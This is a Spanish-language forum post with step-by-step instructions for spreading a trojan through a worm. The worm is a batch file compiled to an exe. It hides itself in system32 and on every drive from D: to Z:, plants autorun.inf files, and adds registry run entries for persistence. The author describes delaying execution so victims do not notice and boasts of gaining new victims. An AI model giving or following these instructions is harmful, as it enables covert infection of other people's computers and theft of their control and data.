osea lo que tenemos que hacer es: en la raiz de un disco, puede ser el mismo removible. colocamos el "troyano.exe" y lo ponemos en modo oculto luego compilamos este codigo "propagador.bat" a "propagador.exe" con el programa: "Bat To Exe Converter" lo colocamos en la raiz junto al "troyano.exe" TAMBIEN EN MODO OCULTO cuando ejecutemos "propagador.exe" estos 2 se copiaran en: C:\WINDOWS\system32 , y de ahí se copiaran en modo oculto a todos los discos que reconozca la maquina desde el D: hasta la Z: tambien se creara en modo oculto el archivo "autorun.inf" que es el que va a ejecutar el gusano cada vez que hagamos doble clik en estos discos. 
las dos lineas de modificacion de registro son para ejecutar el gusano cada vez que se inicie el equipo 
podran ver que el codigo no ejecuta el troyano cuando se abre, esto es porque cada vez que se abriria el disco se estaria instalando y tardaria mucho tiempo la victima se daria cuenta que a la maquina le pasa algo. 
Si lo ejecuta al reiniciar el equipo a partir de ahi ya estara infectado con el troyano 
se propaga realmente muy rapido. 

cualquier critica, correccion o sugerencia sera bienvenida. 

bueno eso es mas o menos todo espero que les sirva a mi me han aparecido nuevas victimas seguro a ustedes tambien. 
cualquier cosa comenten chauu!